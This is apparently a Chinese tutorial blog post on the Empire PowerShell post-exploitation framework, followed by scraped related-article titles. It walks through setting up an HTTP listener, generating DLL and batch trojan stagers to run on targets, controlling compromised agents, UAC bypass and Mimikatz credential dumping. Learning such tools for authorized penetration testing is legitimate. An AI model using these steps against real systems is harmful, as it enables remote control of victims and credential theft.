Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上。Empire 实现了无需powershell.exe 即可运行PowerShell 代理的功能,从键盘记录器到Mimikatz 等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

0x01 首先是下载、安装

Github:https://github.com/EmpireProject/Empire

不喜欢用命令的同学可以去安装一个GUI界面的,也是国外大牛用php写的一个web界面

Github:https://github.com/interference-security/empire-web

下载

安装

打开Empire

0x02 基本使用

help命令查看具体帮助

Agents—— 未来回连的靶机;

creds—— 便是数据库中写入的各类凭据(主要为口令一类);

interacrt——与现有agents宝宝们交互(实际并非一个交互性shell,Empire其实类似一款http/https仿造浏览器请求侦察与控守混合型木马,通道隐藏性较好可惜牺牲了流量,wireshark抓包你会发现核心防火墙上的request包流浪有多么恐怖~);

list—— 后跟listeners或agents列出当前活跃的监听器或服务端宝宝;

listeners—— 进入监听器设置接口;

load—— 加载自定义模块或其他扩展模块接口(默认为empire当前目录);

plugin—— 加载自定义插件或其他扩展插件;

 plugins—— 列出所有载入的插件列表; 

preobfuscate——预混淆功能。食之无味,弃之可惜,谓之鸡肋。还是介绍一下,需要在系统上预装wine和powershell,但是wine本身的不稳定,笔者也不知道怎么去描述这个功能的设计目的了。预混淆顾名思义就是预先对所有加入了该功能接口的脚本执行混淆操作,增强其后渗透阶段免杀能力,不过,笔者表示懒得去用;

reload—— 同MSFreload功能;

report—— 输出报告;

reset—— 重置ip黑白名单、混淆项目等;

resource—— 批量导入empire命令执行;

searchmodule—— 模块关键词搜索(命令行界面优于GUI界面);

set—— 设置ip黑白名单、混淆项目等;

show—— 查看当前框架设置,也就是set默认值;

usemodule—— 使用某一模块;

usestager—— 使用某一载荷。

Listeners

首先你要建立一个本地的Listener,listeners命令将跳到listener管理菜单。你可以随时使用list命令列出被激活的listener。Info命令将显示当前listener配置的选项。

listener之后空格加敲2下TAB列出可供使用的监听器,然后基于我们的需求选择所需要配置的监听器:

这里我们首先选择http,每个监听器具体功能可进入该监听器模块而后info显示进行阅读。

使用set命令设置Host/Port参数,可以直接使用域名。

(Empire: listeners/http) > set Name shuteer
(Empire: listeners/http) > set Host 192.168.190.141
(Empire: listeners/http) > execute

Back命令即可返回上一层 list命令可以列出当前激活的listener,kill命令可以删除该监听。

0x03 生成木马

Stagers 

Empire在./lib/stagers/*里实现了多个模块化的stagers。包含有dlls,macros,one-liners等等。使用usestager <tab>列出所有可用的stagers。

multi模块为通用模块,osx是Mac操作系统的模块,剩下的就是windows的模块

1)DLL

dll 进程注入马应该是平日里用的最多的方式了,输入usestagerwindows/dll 的命令,然后输入info 命令来查看详细参数

(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info

这里我们设置一下Listener,然后执行execute命令,就会在tmp目录下生成launcher.dll的木马

(Empire: stager/windows/dll) > set Listener shuteer
(Empire: stager/windows/dll) > execute

然后将launcher.dll在目标主机上运行后,就会成功上线。

注意:当然也可以用于NSA方程式工具当中的双重脉冲SMB后门,毕竟最开始Empire被广泛关注就是结合NSA后门程序反弹shell利用的Youtube视频。

2)launcher相关

如果只是需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入“launcher<language> <listenerName>”,自动生成一行base64编码后的PowerShell代码。

最后返回键入launcherpowershell My@Empire命令来生成一个Payload,放置到目标主机执行即可。

(Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > info

生成

(Empire: stager/windows/launcher_bat) > set Listener shuteer
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

目标机执行

可以看到base64编码代码

成功反弹监听会话,agents查看反弹的会话,和msf的sessions差不多

0X04 交互阶段

interact命令来进行交互

(Empire: agents) > interact NTGZWASR
(Empire: NTGZWASR) > whoami
[*] Tasked NTGZWASR to run TASK_SHELL
[*] Agent NTGZWASR tasked with task ID
(Empire: NTGZWASR) > [*] Agent NTGZWASR returned results.
PC-\Administrator

help命令可以查看agent中可以使用哪些命令

Bypassuac命令

顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择run as administrator才能运行,这都是uac作的怪。
因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

sc命令 屏幕截图

mimikatz命令 抓hash

upload download命令不用多说了

初识域渗透利器Empire的更多相关文章

  1. Metasploit域渗透测试全程实录(终结篇)

    本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...

  2. 初级AD域渗透系列

      net group /domain 获得所有域用户组列表 net group “domain admins” /domain 获得域管理员列表 net group “enterprise admi ...

  3. 域渗透基础之NTLM认证协议

    域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...

  4. 域渗透:SPN(ServicePrincipal Names)的利用

    SPN 简介:服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP.MSSQL)的唯一标识符.Kerberos 身份验证使用 SPN 将服 ...

  5. 域渗透复盘(安洵CTF线下)

    复盘线下域渗透环境Write Up 0x01 外网web到DMZ进域 外网web入口 joomla应用   192.168.0.5 反序列化打下来 GET /index.php HTTP/1.1 Ho ...

  6. AD域渗透总结

    域渗透总结 学习并做了一段时间域网络渗透,给我直观的感受就是思路问题和耐心,这个不像技术研究,需要对一个点进行研究,而是遇到问题后要从多个方面思考,寻找"捷径"思路,只要思路正确, ...

  7. 内网域渗透之MS14-068复现(CVE-2014-6324)

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  8. 内网域渗透之MS14-068复现

    在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...

  9. 域渗透-Kerberos身份验证流程

    域渗透-Kerberos身份验证流程 Kerberos协议框架 在 Kerberos 协议中主要是有三个角色的存在: 1. 访问服务的 Client: 2. 提供服务的 Server: 3.KDC(K ...

随机推荐

  1. Net Core基于TopShelf程序运行于服务模式

    目录 Net Core基于TopShelf程序运行于服务模式 1 背景 2 优势 2.1 服务模式可设置重启条件 2.2 避免误操作 3.使用 3.1 GUI方式安装Topshelf包 4 配置 5 ...

  2. 彻底解决android拍照后无法显示的问题

    这是对上篇"android 图片拍照,相册选图,剪切并显示"的文章之后的 改进 上一篇文章虽然能解决图片的拍照剪切以及显示,但是发现他有一个缺点, 如果该程序单独运行,貌似没有任何 ...

  3. FJUT2019暑假周赛三部分题解

    A本来想改到q<1e5,让你们预处理的,然后想了哈作为个逆元模板题吧= =,做不出来自行反思. B贴个题面 因为只有一次机会,那么也就是两点分布期望E = p了,先说说大家的做法,先求出每个n的 ...

  4. 手撸基于swoole 的分布式框架 实现分布式调用(20)讲

    最近看的一个swoole的课程,前段时间被邀请的参与的这个课程 比较有特点跟一定的深度,swoole的实战教程一直也不多,结合swoole构建一个新型框架,最后讲解如何实现分布式RPC的调用. 内容听 ...

  5. 实现非管理型UPS在linux主机上的停电自动关机

    买了个山特的SANTAK TG-BOX 850 UPS,自带USB通讯线缆.本以为官方软件提供Linux下的CLI命令以监控UPS状态. 官网提供的下载链接巨慢无比不说,CLI下只提供了安装脚本,没有 ...

  6. 极光推送JPush

    推送ios以及android信息,简单的基于jpush v2带IMEI的推送实现. maven: <dependency> <groupId>cn.jpush.api</ ...

  7. 3D 飞行器航迹规划

    3D-Route-Planning 三维航迹规划 -Matlab 本次代码主要解决数学建模中多约束条件下的航迹规划问题 解决的问题如下:   复杂环境下航迹快速规划是智能飞行器控制的一个重要课题.由于 ...

  8. Salem and Sticks-萨鲁曼的棍子 CodeForce#1105A 暴力

    题目链接:Salem and Sticks 题目原文 Salem gave you 

  9. 记一次jmeter从txt文本获取数值并给测试计划的变量赋值,jmeter永久性修改变量。

    前言: 需要永久性的改变变量. 其实这个办法并不是最好的,但是是最容易实现的.后期可做成从数据库里直接取值. 赋值BeanShell import java.io.File; import java. ...

  10. 利用Python制作二维码

    利用简单的Python代码制作二维码 一.制作工具 安装Python环境 + PyCharm编译器. 二.电脑系统 本人win10 + Python3.7.0 + PyCharm. 三.写代码前先下载 ...